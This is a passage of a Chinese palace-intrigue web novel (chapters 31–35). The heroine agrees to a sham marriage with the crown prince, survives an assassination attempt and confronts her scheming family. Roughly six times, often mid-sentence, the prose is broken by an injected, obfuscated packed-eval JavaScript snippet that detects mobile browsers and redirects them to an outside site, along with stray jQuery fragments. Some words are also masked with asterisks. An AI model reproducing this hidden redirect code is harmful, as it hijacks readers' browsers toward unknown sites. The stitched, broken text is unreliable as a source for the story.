“无妨,最苦的日子已经过去了。”洛云舒笑笑,示意阮清辞放宽心。 阮清辞渐渐不再后怕,她甚至开始思考,并且有了疑问:“为何让我哥哥报官?只怕这件事,查不到什么真相。” 三皇子刚刚因为**赈灾银两被**,他做事会更谨慎,很难被找出什么破绽。 “若我们不知道事情的原委,船只被人故意弄坏,我们为何不能报官?” 阮清辞有点明白,却又不是特别明白:“你是想让三皇子放松警惕,让他以为咱们没发现什么。但是,为何不能让他知道,咱们已经知道他想做什么了?这样的话,他或许会收敛一点。” “清辞,不可赶狗入穷巷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429503|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不然,吃亏的是咱们。更何况,他是三皇子,是陛下的儿子。哪怕御史**他**银两,他还可以找人定罪,他落下的,只是御下不严之罪。和他硬碰硬,只会吃亏。” 阮清辞点点头,懂了:“云舒,我真佩服你。你走一步能看好几步,我就不行,想不了这么多。” 洛云舒舒然一笑:“幸福的人不需要懂太多,幸福着就好。” 只有无人撑腰的人,才会事事思虑周全,唯恐出了差错。 “云舒,我真心疼你。” 洛云舒笑笑,没有接话。 很快,阮英杰回来,说已经报官。 这时候,阮夫人匆匆赶到,她拉着阮清辞,上上下下地看了个遍,满眼都是疼惜。 见阮清辞没事,她才红了眼睛。 洛云舒在一旁看着,心里很有感慨。 原来,这才是正常的母亲。 阮夫人虽然眼高于顶,却是个明事理的人。 她道谢,又因为匆忙之间没有准备谢礼,直接把手腕上的镯子褪下,套在洛云舒手上:“洛大小姐,你今日搭救我家清辞的恩情,我们阮家记下了。日后若有所求,你只管开口。” “伯母,您客气了。我与清辞交好,助她也是理所应当。更何况,今日她是被我邀请来的,我理应负责。”说着,洛云舒往下褪镯子。 她看得出来,这镯子很贵重,并且,还可能有什么特别的意义。 她不能要。 阮夫人却按住她的手:“这天底下,没有什么是理所应当的。洛大小姐,多谢你。” 这样,洛云舒就不好推脱,只得收下。 回去的路上,洛云舒梳理着今日发生的事情。 三皇子想要制造机会英雄救美,从而坐实和阮清辞的婚事。 现在,他很需要这桩婚事来扭转困局。 所以,他不择手段。 而她今日碍了他的路,只怕会成为他的眼中钉,肉中刺。 看来,接下来不会太平静。 三皇子有可能会对她下手。 或许,她该请个护卫。 可身手高强的护卫,怕是不好找。 身手高强的女护卫,更是凤**麟角。 但,还是要找找看。 然而,回府之后,洛云舒却在院子里看到了一个女子。 这女子比她略高一些,一身黑色劲装,右手提着一把剑,神色很严肃。 洛云舒立刻停下脚步,心生警惕:“你是谁?” 第31章 这么快就换人了? “在下寒霜,奉太子殿下之命,前来保护您。这是太子殿下的手信,请您过目。” 洛云舒接过看了看,的确是裴行渊的字迹。 看来,裴行渊也关注着三皇子的动作,并且和她想到了一处去。 心头的事情被解决,洛云舒心中稍安,立刻命知意带人收拾出一个房间,让寒霜住下。 隔日上午,阮夫人带着阮清辞上门致谢,还带了不少的谢礼。 孙氏受宠若惊。 在阮清辞母女离开之后,她忍不住数落洛云舒:“你救了阮大小姐,回来怎么也没跟我说一声?” “说与不说,有什么要紧的?”洛云舒懒得理会。 “怎么会没什么要紧的?那可是阮丞相的掌上明珠!你瞧瞧今日阮夫人那笑模样,她那眼睛向来是在头顶上长着的,往常我主动找她说话,她还对我爱答不理的。今日风水轮流转,她居然亲自上门致谢,这可真是日头打西边出来了。” 说着,孙氏意犹未尽。 能得阮夫人看重,她很受用。 说完,孙氏又喋喋不休:“阮夫人热络,你也别端着,经常去阮家走动走动。阮府的阮大少爷还没娶妻呢。” 洛云舒看她一眼:“先前不是说让我常去大长公主府走动?这么快就换人了?” 孙氏瞪她一眼:“你这丫头,说话怎么这般刁钻?我还不是为你着想,你若是嫁入高门,享一辈子的荣华富贵,不好吗?” “在母亲眼里,只要随便一个高门,我都能嫁,是吧?” “不然,还要嫁给一个穷小子不成?”说着,孙氏心生警惕,“你不会是看上了什么穷书生吧?” 洛云舒轻轻地舒了一口气,不愿意再说,径直走了。 晚上,洛守礼下值回来,又把洛云舒叫过去问话,把她救阮清辞的细节又问了一遍。 听完,洛守礼很满意,他身子向后靠在椅背上,姿态闲适,看向洛云舒的目光满是赞许:“云舒,为父果然没有看错你。你是个有本事的。” 洛云舒没再反驳,只点头。 洛守礼又说了许多,这才让她离开。 回到自己的院子,洛云舒只觉得疲惫。 不是身体上的疲惫,是心累。 一直这样,真的很烦。 或许,她该想个法子,改变现状。 这时候,知意进来禀报:“大小姐,洛婉小姐想见您。” “让她过来。” 在洛府,洛婉的存在感很低,她待在自己的院子里,几乎不怎么出门。 洛云舒这阵子事务缠身,也没顾上洛婉。 她料想,洛婉来找她,应该是遇上了什么难事。 果不其然,洛婉一进门,就面露难色,却又一副羞于开口的模样。 她总是这样。 从前洛云舒掌管府中事务,总是让洛婉随意些,可洛婉总是拘谨。 这倒也难怪,孙氏总嫌弃二叔一家,嫌他们落魄,连带着对洛婉也不待见。 两年前洛云舒一家回乡祭祖,见洛婉总是怯怯的,洛云舒心生不忍,带她来了京城,让她跟着她学管家、理账,日后也好许个好人家。 洛婉很勤勉,一直学得很好。 只是最近孙氏掌家,洛婉便没处学了。 “婉婉,你有什么难事只管说。咱们和亲姐妹没什么两样。” “大姐姐。”洛婉怯怯开口,把手里的匣子捧了过来,“这是我攒的银两,劳烦大姐姐找人送到云州去。谦儿一直在读书,我怕家里的银钱不够用。” 洛云舒打开匣子看了看,是一些散碎银子。 可见,这些钱,洛婉攒的很辛苦。 洛云舒把匣子推回去:“婉婉,这些钱你自己拿着用。二叔那边,我会给他去信。另外……” 另外,她想让二叔一家来京城。 只不过还要征求二叔的同意,洛云舒就没把话说在前头,只说自己会给钱,让洛婉安心。 送走洛婉,洛云舒很快给二叔写了信,请他来京城。 先前,她给了二叔一些银子,让他在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429504|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云州开了个铺子。 听闻他将这铺子打理得很好,进项颇丰。 所以,洛云舒有意让他到京城来,有利于她下一步的计划。 只是,二叔愿不愿意,还是两说。 大概,上了年纪的人,总是格外贪恋自己的家乡。 忙完这些,洛云舒叫过寒霜,让她给裴行渊传信,若他有空,她要见他一面。 见面的地点选在文兴茶楼,私密性好。 寒霜回来,带来裴行渊的回复,他会按时前来。 第二日,洛云舒早早赶到文兴茶楼。 没多久,裴行渊就来了。 见面之后,洛云舒直入主题:“太子殿下,多谢您把寒霜送到臣女身边。” 裴行渊笑笑,温润如常:“谢就不必了。不过,孤很好奇,你为何不想让三皇子接近阮清辞?” “我与阮大小姐还算熟识,而三殿下并非良人,我不愿她踏入火坑。” “不是因为占卜过?” 初次见面,洛云舒曾说自己擅长占卜。 想到这一茬,洛云舒没有否认:“是,也占卜过。” “卦象上是怎么显示的?” “太子殿下,天机不可泄露。臣女今日前来,是有一件事想和太子殿下商议。” “说。” “先前太子殿下曾经提过,愿意迎娶臣女,不知这话是否还作数?” “目前还是作数的。怎么,洛大小姐改变主意了?” “是。”洛云舒直言不讳。 之前,她会想着嫁出去,然后再和离,她去立女户,又有银钱傍身,她会随心所欲地生活,会过得很好。 但是,她忽略了一样东西——权力。 只要动用权力,足以让她辛苦谋划的一切付诸流水。 她力求稳妥,不愿承受这样的风险。 她做事,喜欢万无一失。 所以,这一刻,洛云舒直视着裴行渊的眼眸,缓缓道:“殿下,臣女同意嫁您,但,不是完全嫁您。” 第32章 嫁你,但不完全嫁你 “哦?这话怎么说?”裴行渊来了几分兴致。 洛云舒神色严肃,说出自己的计划:“殿下有求娶的意思,不过是因为看重臣女的本事,既然如此,殿下所求的便是臣女一心一意的辅佐。臣女可以以太子妃的身份嫁给您,但臣女和您,无须有夫妻之实。” 这便是她所说的嫁他,但,不是完全嫁他。 裴行渊有些意外,他看着洛云舒,很有兴致的样子:“说句自傲的话,很多人都想嫁给孤,你竟然不想?” “是的,臣女不想。” “理由?”裴行渊面色微肃,似有不喜。 洛云舒神色淡然,缓缓开口:“殿下,女人善妒。恕臣女直言,殿下以后还会有其他女人,若是臣女做了名副其实的太子妃,难保哪一日会生出妄念来。这妄念一旦生出来,会将一个女人撕扯得面目全非。一个面目全非的人,无法全心全意地为殿下谋划。想必,殿下的身边也不需要这样的人。” “你这话,似乎有些道理。可你要嫁给孤,又不愿意做孤的女人,此后余生,你当如何?” “这便是臣女的第二个要求了。若有朝一日,殿下得以登上至尊之位,还请殿下还臣女自由。臣女甚至不需要什么封号,只求有人找麻烦的时候,殿下会为臣女撑腰。” 裴行渊轻笑:“原来,你想要的是自由。而且,还是有权力保障的自由。” “是的,殿下。”洛云舒并不否认。 唯有权力加持的自由,才是真正的自由。 “洛云舒,你很特别。你的要求,孤允了。” 洛云舒起身,脸上未见丝毫激动之色:“臣女谢殿下成全。” “近日,孤会安排求娶的契机。届时,会让寒霜通知你,你做好准备就是。” “臣女静候佳音。” 回去的路上,洛云舒心情轻快。 心头的大事,就这样办妥了。 心情好,似乎整个人都精神了许多。 她靠在马车壁上,神态放松。 然而,却在此时,她察觉到马车壁剧烈地震动了一下,似乎有什么东西刺入,还不等她有所躲闪,她的眼前就出现了一支利箭。 那利箭戳破马车壁,从她眼前约两寸远的地方射了进来。 洛云舒的瞳孔,瞬间瞪大。 但凡是这箭射偏一些,此刻,她就已经丧命当场。 外面,很快传来剑刃相击的声音。 应该是寒霜和刺客动手了。 而坐在外面的灵雀几乎是爬着进来的,她哭着,声音有些失真:“大小姐,您没事吧?” 洛云舒身子后移,接连眨了好几下眼睛,才让眼睛不再那么酸疼。 尔后,她才喃喃道:“没,我没事。” 刚才,她直面了死亡。 没多久,外面传来寒霜的声音:“大小姐,刺客已经抓到,但牙齿里藏了毒,人已经**。” 是死士。 满京城的人,能用得起死士的人,并不多。 洛云舒猜测,应该是三皇子派的人。 怪她坏了他的好事。 他心思阴暗,做下这样的事,一点儿也不奇怪。 幸好,寒霜在。 回去之后,守在府里的知意知道这事儿,担心得不行。 确认洛云舒无事,知意才捧出一张帖子:“大小姐,这是大长公主给您下的帖子,请您去府上赏花。” “什么时候?” “明日。” “既然如此,那就不能不去了。速去给大长公主府的人回话,就说明日我会准时赴约。” 知意担心:“大小姐,您方才遇袭,不需要调整一下吗?” “不用。”洛云舒神色如常。 她是死过一次的人。 再次直面死亡,她会更加恐惧。 但,恐惧不会让她颓废,反而会激发她的斗志。 她既然重活一世,就得让那些算计她的人付出代价。 上一世,她殉节做了鬼,表面上是霍家的手笔,却是出自于三皇子的授意。 冤有头债有主,一个都别想逃。 包括,家里的这些魑魅魍魉。 洛云舒没打算让他们好过。 第二日,洛云舒按时来到大长公主府。 在府门口迎接的,是大长公主身边的掌事姑姑,叫春霞。 春霞很是热情,引着洛云舒往内院走的时候,脸上始终挂着笑。 可沿路遇到春霞的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429505|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府中下人,无一不是神色恭谨。 这说明,春霞在府中的分量不轻。 知道那日大长公主出现,是因为裴行渊,所以,洛云舒没有太深的怯意。 她料想,大长公主今日让她来,应该是知道裴行渊即将迎娶她,想要了解她更多。 但,落座之后,大长公主却并未提及裴行渊半句,反倒是带着她在府中的花园里闲逛。 大长公主府的花园很别致,里面种植的花草无一不名贵。 大长公主不说什么,洛云舒也就不多言,就这么陪着她逛园子。 可过了没多久,春霞过来传话,附在大长公主耳边说了什么。 大长公主微愣:“行渊?他突然上门做什么?” “太子殿下没说。” “让他在正厅等一会儿,我待会儿过去。” “是,殿下。” 大长公主回身,神色有些抱歉:“云舒,实在是对不住,太子临时前来,不知道是有什么事。这样吧,你且先在这亭子里待上一会儿,本宫去去就来。” “好。”洛云舒有些诧异。 她还以为,大长公主会让她一起过去。 谁知道,竟然没有。 大长公主很快离开,但,离开之前,却吩咐人给洛云舒上茶,还备了不少的点心和瓜果。 瓜果一律切成小薄片,摆了金质的小叉子,随她取用。 洛云舒吃了一些,味道不错。 等了一会儿,不见大长公主回来,洛云舒起身,在亭子周围散步。 却在这时,听到一个男子的声音:“我母亲总想拘着我,这一次,看我不偷跑出去!” 这声音已经很近。 洛云舒有心想躲一躲,却没有能躲的地方,只得站直身子,想着若是撞上了,客气问好也就是了。 听声音,这位应该是大长公主的儿子,萧祈安。 只不过,萧祈安很少露面,京城里见过他的人很少。 故而,不少人猜测萧祈安是个傻的。 洛云舒没有和傻子打交道的经验,心里有点犯嘀咕,她正打算重新坐回亭子里去,不期然抬头时,却撞上一双明亮的眸子。 瞬间,洛云舒惊愕万分。 第33章 那、你可愿嫁他? “安、安老大?”洛云舒有点不太确定,只是斟酌着开口。 因为,眼前的人脸上没有络腮胡,只这一双眸子,像极了安老大。 眼前的人有些发愣,他后退几步,打量着洛云舒:“你是谁?怎么还知道我在外头的名号?莫不是我母亲告诉你的?” 洛云舒正思索着该如何解释她的身份,就见大长公主回来了。 看到眼下的情形,她脸上的笑容愈发浓郁:“云舒,让你久等了。” 萧祈安诧异,似是想说什么。 大长公主瞪了他一眼,示意他少说话。 萧祈安不明所以,却还是乖乖闭了嘴。 大长公主转身看向洛云舒,脸上满是笑意:“云舒,不必管这混小子,本宫带着你继续逛。” “有劳长公主殿下了。” 洛云舒紧跟着大长公主,继续逛园子,只有萧祈安留在原地,不明所以。 逛着逛着,大长公主突然问道:“云舒,你觉得我儿如何?” “世子他、很好。” 在商言商,安老大的确是个很好的人。 身为商人,他虽然重利,但是他不市侩,也不阴损,按规矩办事,该怎样就怎样。 合作多年,安老大不曾亏待过她。 “那、你可愿嫁他?” 洛云舒的头,猛地抬起。 她看着大长公主,满目惊愕。 心里却犯了嘀咕:皇家的人,都这么直白吗? 当初,才见第二面,太子就问她能不能嫁他? 同样的,和大长公主见的第二面,她也问了类似的问题。 “或许是本宫唐突了。但,美玉在前,应当珍视。不然,就有可能被别人截取。”说完,似乎是怕洛云舒不明白,大长公主又道,“这么多年来,祈安醉心做生意,本宫想让他成婚,他总是推脱。可这一次,他主动向本宫询问,让本宫帮忙调查近期京中名声有损的女子。这就说明,他对你有意。” 洛云舒一阵愕然。 她觉得,大长公主是病急乱投医了。 紧接着,大长公主又说道:“本宫进一步查下去,发现你二人早有交集。你化名陆云,与他结识,自有一番情意在。与盲婚哑嫁相比,我儿祈安会更适合你。” 原来,大长公主已经查到了。 想到前因后果,洛云舒解释道:“您可能是误会了。” 之后,洛云舒把自己当初拜托安老大的事和盘托出。 听完,大长公主一怔,继而就笑了:“所以,是本宫会错了意?” 她向来雷厉风行,没想到居然在这件事上闹出了岔子。 洛云舒低头,回应道:“您是太关心世子了。” 这话,算是在为大长公主挽尊。 关心则乱。 身为一个做母亲的,遇到和孩子有关的事情,自然会失去往日的从容和睿智。 即便是因此闹出什么岔子,也不足为奇。 大长公主笑笑,并未感到难为情:“虽是阴差阳错,但本宫觉得,你二人很合适。你放心,你二人成婚之后,可搬出去另过。本宫这个婆婆,不会给你造成任何困扰。” 大长公主果然爽快。 给出的条件也很诱人。 但,洛云舒笑着摇了摇头:“长公主殿下厚爱,臣女万分惶恐。只是,臣女与世子之间并无情愫,若这般盲婚哑嫁,未免不妥。” “并无情愫?本宫不这么看。”说完,大长公主吩咐人,让人叫萧祈安过来。 紧接着,她把洛云舒带到一个房间的里间,独自出去了。 洛云舒约莫猜出大长公主要做什么。 果然,没过多久,外面就传来萧祈安的声音:“母亲,您找我?” “是。近日你可曾见过陆云?” “不曾见过。不过,母亲问陆云做什么?” “不,见过的。就在刚才。” 萧祈安的声音很疑惑:“怎么会?儿子又不健忘,足以确认并未见过他。” “陆云,便是洛云舒。” 之后,外面一片沉默。 沉默之后,是萧祈安否定的声音:“母亲,您糊涂了?陆云是男子。” “不,是你误会了。我足以确认,陆云就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429506|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛云舒。” “这、这怎么可能?” 萧祈安的语气很惊讶。 但,以洛云舒对他的了解,他已经相信了。 毕竟,身为大长公主的儿子,又怎会不知大长公主的手段? 而萧祈安还在喃喃自语:“这、这怎么可能呢?母亲,您不知道,她当初第一次跑商队就断了腿。那样的痛成年男子都无法忍受,但是她硬生生忍着,就连大夫接骨的时候都没叫疼。这样的人,怎么可能是个女子?” “看来,你很瞧不起女子。”大长公主的声音,略有不满。 “不,母亲,儿子不是这个意思。儿子只是、太惊讶了。” “那,你觉得她为人如何?” “她自然是极好的。” “那、让她给你做妻子,你可愿意?” “母亲,您真是疯了。儿子对她有好感,但仅仅是对身为商人的陆云有好感,并非是对身为女子的洛云舒。” 之后,大长公主没说话,却带着萧祈安,出现在洛云舒面前。 洛云舒起身,微施一礼:“安大哥,我以女子之身在外行走多有不便,故而化名陆云,与你结识。这么久未曾坦白,是我的过失。” 她诚恳道歉。 这件事,的确是她未曾坦白。 萧祈安急忙还礼:“莫要客气。我也隐瞒了自己的**。若要道歉,我也要道歉的。” 洛云舒笑笑:“安大哥,您客气了。” “不、不客气。”这一刻,就连萧祈安自己都没留意到,他的脸颊,正微微泛红。 大长公主在一旁看着,心中了然。 事情进行到现在,窗户纸已经捅破,接下来,也就不可操之过急了。 大长公主很快把萧祈安打发走,又亲自送洛云舒出门。 她不愿给洛云舒压力,没有再问什么。 很显然,她是在给洛云舒斟酌的时间。 洛云舒心知肚明,走出大长公主府的时候,并未为此纠结。 直到坐上马车,看到早已坐上去的裴行渊,洛云舒也神色如常:“问太子殿下安。” 第34章 她这是、在挑他的理? 裴行渊向来淡然的脸上难得现出几分局促,他再未遮掩,直接认错:“当日认亲宴上,皇姑姑为你解围,的确不是因为孤。” “哦。”洛云舒轻声应道,听不出什么情绪。 裴行渊有几分拿不准洛云舒的意思,试探着问道:“你不怪孤?” 不管是谁,被欺骗都会生气的。 但是洛云舒没有。 这让裴行渊很意外。 “是臣女自己先会错了意,不怪殿下。” “你似乎并不生气?” “生气?臣女为何要生气?”说完,洛云舒又问,“太子殿下选择臣女做太子妃,理由是什么?” “你足够睿智,又很沉稳,东宫需要这样一位女主人。” “太子殿下有所求,臣女亦有所求,故而,你我各取所需。这原本就是一场交易,何须生气?” 交易就是交易,不掺杂多余的情感,也就无须讲情分。 裴行渊愕然。 他自诩通透,可这一次,他在洛云舒面前甘拜下风。 这也让他更加确信,他这是捡到宝了。 捡到宝的人,自然不肯把宝物拱手让人。 于是,他又问:“皇姑姑做事向来雷厉风行,想必,她给出了很丰厚的条件。” “是。太子殿下匆忙拜访大长公主,是为了这件事?” “是。” 洛云舒看他一眼:“太子殿下此举,未免太不看重臣女的承诺了。” 裴行渊再次愕然,她这是、在挑他的理? “臣女以为,臣女与殿下已经达成共识,就该彼此信任。可现在看来,殿下对臣女并没有这种信任。若殿下心性如此,臣女很担心后续和您的合作。” 裴行渊瞪眼。 倒反天罡! 这是在教训他? 好吧,就是在教训他。 此刻,一向光风霁月的太子殿下失笑出声。 他笑,又笑着摇头,说出的话却是肯定的:“没错,是孤不够沉稳。” 这话,洛云舒没接。 该说的都说了,多余的话,没必要说。 裴行渊却有些不依不饶的架势:“想必皇姑姑给出了很诱人的条件,你不心动?” 说完,他又补充:“孤这样问,并非是不信任你,只是好奇。” “首先,世子对臣女无意。再者,即便他对臣女有意,臣女也不愿结这门亲。因为,臣女对他无意,就不该欺瞒他,不该因为大长公主给出的条件就有所动摇。毕竟,真心不可辜负。若不能给出同样的真心,就应该拒人于千里之外,不该越雷池半步。” 说出最后一句话,洛云舒不禁想起上一世的自己。 若霍少远能做到这些,上一世的自己就不会落一个那样的下场。 你既然对我无意,又何必来招惹我呢? 招惹了,又害我**,那这一世,你也**好了。 这一刻,洛云舒心硬如铁,并未留意到裴行渊落在她身上的目光多了几分探寻。 这一刻,琢磨洛云舒的,并非只有裴行渊一人。 还有三皇子。 因着阮清辞落水,三皇子以此为理由,想要登门探视,却被阮家婉拒。 这个时候的婉拒,足以说明阮家对他不满,甚至,是意识到了什么。 三皇子暴怒,一把推倒面前的桌案不说,还提着剑,在上面砍了好几下。 好好的金丝楠木,被他砍成了废旧的木料。 这时候,仆从上前,报告最新的消息。 得知洛云舒去了大长公主府,太子随后也出现,三皇子嗅到了不同寻常的气息,立刻吼道:“让霍少远来见本殿下!” 霍少远一来,一个瓷白的杯子朝着他迎面砸来。 他急忙跪下,顺势躲过这杯子。 三皇子怒声道:“霍少远,你口口声声说搞得定洛云舒,结果呢?” 霍少远也得到了消息,他咬咬牙:“殿下,她只是在同我赌气罢了。” “赌气?” “是的。我倾慕孙玉瑶,她生气了。再加上先前她差点儿殉节,在跟我闹脾气呢。” 莫名地,三皇子觉得胸中的那股子郁气舒缓了些,他看了霍少远一眼,眉目阴沉:“既是闹脾气,你就去哄她。女人嘛,多给一些好处也就是了。她若是再不满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429507|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,你直接承诺娶她做正妻。” “正妻?可名义上,她现在是我义妹。” “成大事者,不拘小节。或许名声会不好,但你二人早有婚约在先。即便是与她再有婚约也没什么。” 霍少远皱了皱眉:“谨遵殿下教诲。” 三皇子发话,这件事,他根本没有退路。 …… 洛云舒回府没多久,就听知意前来禀报,说霍少远来了,要见她。 “不见。”洛云舒直接回绝。 但,霍少远径直闯了进来,出现在她的院子里。 他皱着眉,很不满:“洛云舒,你就算是闹脾气,也该有个限度。都过了这么久,我给你的忍耐已经足够了。别再挑战我的底线,不然到头来,你什么都捞不到。” 洛云舒看了霍少远一眼,觉得他这人真是自恋得厉害。 之前,她已经把话说得很清楚了。 现在,没必要再说。 于是,洛云舒直接下令,让寒霜把霍少远丢出去。 见寒霜提着剑出来,霍少远很是不屑。 然后,三招之内,他就被打趴下,被寒霜提着衣领,丢了出去,扔在洛府门外。 他叫嚣着要进来,但是,有寒霜在门口堵着,他进不来。 洛云舒觉得很烦。 现在的霍少远,就是个狗皮膏药,惹人厌烦。 晚些时候,洛守礼来了。 他满目喜悦:“云舒,你以退为进,这一招实在是太高明了。” “父亲此言何意?” “霍少将军同意娶你为正妻了!”洛守礼很兴奋,滔滔不绝,“前几日他说什么纳你为妾,为父不同意,这才短短几日过去,他就同意娶你为正妻。可见,你这以退为进的招数很高明。” 洛云舒摇头:“不,我没有以退为进。” “啊?”洛守礼神色严肃,“你可别糊涂。那可是安国公府的嫡子,你嫁过去,以后是要做国公夫人的。” 洛云舒笑着看他:“父亲,区区一个国公夫人的位置,就能让您心动?难道您就不想,更上一层?” 洛守礼的眼睛,瞬间就亮了。 第35章 你就是太年轻 “谁?是谁?”因为惊愕,洛守礼的眼睛瞪得极大,眼球甚至有点突出。 洛云舒神色自若:“父亲,你知道的,我从不做没把握的事。” 洛守礼难掩激动之意:“是,你向来如此。但,这个人是谁,连为父都不能说吗?” “不是不能说,是现在还不方便说。父亲只需要确定此人的身份比霍少远的身份高也就是了。若霍少远再来,父亲记得不要许诺他任何东西。” “为何?”洛守礼不解。 “父亲,奇货可居的道理,您应该懂吧?” 洛守礼眼前一亮:“你的意思是,这边吊着霍少将军,是为了求稳。另一方面,也可以让那个人急一急,是这个道理吗?” 当一个宝物开始被人争抢,价值也会有所提升。 这个道理,洛守礼懂。 洛云舒并不否认:“是,也可以这么理解。” 洛守礼激动万分:“是亲王之子吗?” 洛云舒笑而不语:“父亲,关于这件事,我不想传出任何闲话。所以,现在我什么都不会说。不过我可以保证,最终的结局一定会让您满意。” 这下,洛守礼才放心。 故而第二日安国公带着霍少远登门,还是没能从洛守礼口中得到半分承诺。 洛守礼既心惊,又有些隐隐的兴奋。 可,安国公父子就没有这样的好心情了。 走出洛府的时候,安国公尚且能保持表面的镇定,可坐上自家的马车,他的脸色彻底黑了下去。 “洛守礼这个老匹夫,平日里见了我比见他老子都亲,现在可倒好,竟敢在我面前拿乔!” 霍少远的脸色也不好看:“父亲,您放心,有朝一日,儿子会让洛守礼在您面前磕头认错。” 安国公看了他一眼:“为父自然相信你有这个本事。只是,殿下那边希望你稳住洛云舒,眼下事情没办成,你当如何?” “父亲,会有法子的。”霍少远眸色沉静,却隐隐透出一抹狠厉来。 …… 洛府。 孙氏也知道了这件事。 她万分愤怒,冲到洛云舒面前的时候,犹如一只炸毛的斗鸡。 孙氏义愤填膺:“洛云舒,你究竟要闹到什么地步?” 洛云舒抬眸看她:“敢问母亲,女儿闹什么了?” “安国公父子来提亲,这是多大的荣耀啊,你怎么就能无动于衷?你无需反驳,你父亲已经坦白,他婉拒是出自于你的授意。” “我为何不能婉拒?”洛云舒反问。 孙氏看她,眼神鄙夷:“你婉拒,无非是因为不想让玉瑶如愿。你要真这样想,那你就太狭隘了。我已经给你规划得好好的,你嫁进去做主母,玉瑶做宠妾,你二人一个把持府中中馈,一个占尽霍少将军的宠爱,必定能将他拿捏得死死的。就算是霍少将军看不上你又如何,等玉瑶生了儿子,她的儿子就是你的儿子,不会亏待你。你始终是有奔头的。” 孙氏的话,言之凿凿。 洛云舒的心早已寒凉如冰,不会再兴起半分涟漪。 她看着孙氏,是质问,也是自嘲:“敢问母亲,您是如何能为了侄女的幸福,断送亲生女儿的未来的?” “这怎么能是断送你的未来?”孙氏撇嘴,“你就是太年轻,总觉得情爱大过天,可我是过来人,知道情爱易逝,能握在手里的东西才是最有用的。你嫁人,无须看是不是能得到霍少将军的宠爱,只需要看能不能得到实际的好处也就行了。” 洛云舒轻笑。 孙氏的话乍一听很有道理,实际上却是漏洞百出。 嫁过去就能掌控权力,做未来的主母,这话未免太过偏颇。 这世上,宠妾灭妻的事情并不少见。 嫁人,就等同于把自己的命运交给一个男人来掌握。 过得如何,全凭他喜好。 她不会要那样的未来。 更不会听孙氏在这里给她画饼。 说什么为了她好,却是为了孙玉瑶考虑。 孙氏知道以孙玉瑶的家世,是没办法给霍少远做正妻的,却又不愿意让孙玉瑶做妾,受主母的磋磨。 基于这种考虑,孙氏才会坚持让她嫁给霍少远。 这样一来,她若想坐稳主母之位,就要护住孙玉瑶,一辈子受孙玉瑶掣肘。 洛云舒沉默,却让孙氏看到了希望。 她握住洛云舒的手,满目慈悲:“云舒,你还多虑什么?我这个做母亲的总不会害你,你是我肚子里爬出来的,我最心疼你。” 洛云舒抽回自己的手,语气冷硬:“如果你的心疼是断送我的一切,那么,这心疼,不要也罢。” 孙氏瞪眼:“你疑心我不是真心为你考虑?” “是。”这一次,洛云舒直言不讳。 “对你,我的亲生女儿,我还能有什么私心不成?” “这得问您自己。” “我问心无愧。”孙氏梗着脖子,言之凿凿。 她这样子,像一只引颈待戮的鸡。 洛云舒轻笑:“若你问心无愧,那你起誓。以洛明辉起誓,在这件事上,你若有半分私心,就让他肠穿肚烂,不得好死!” 啪! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 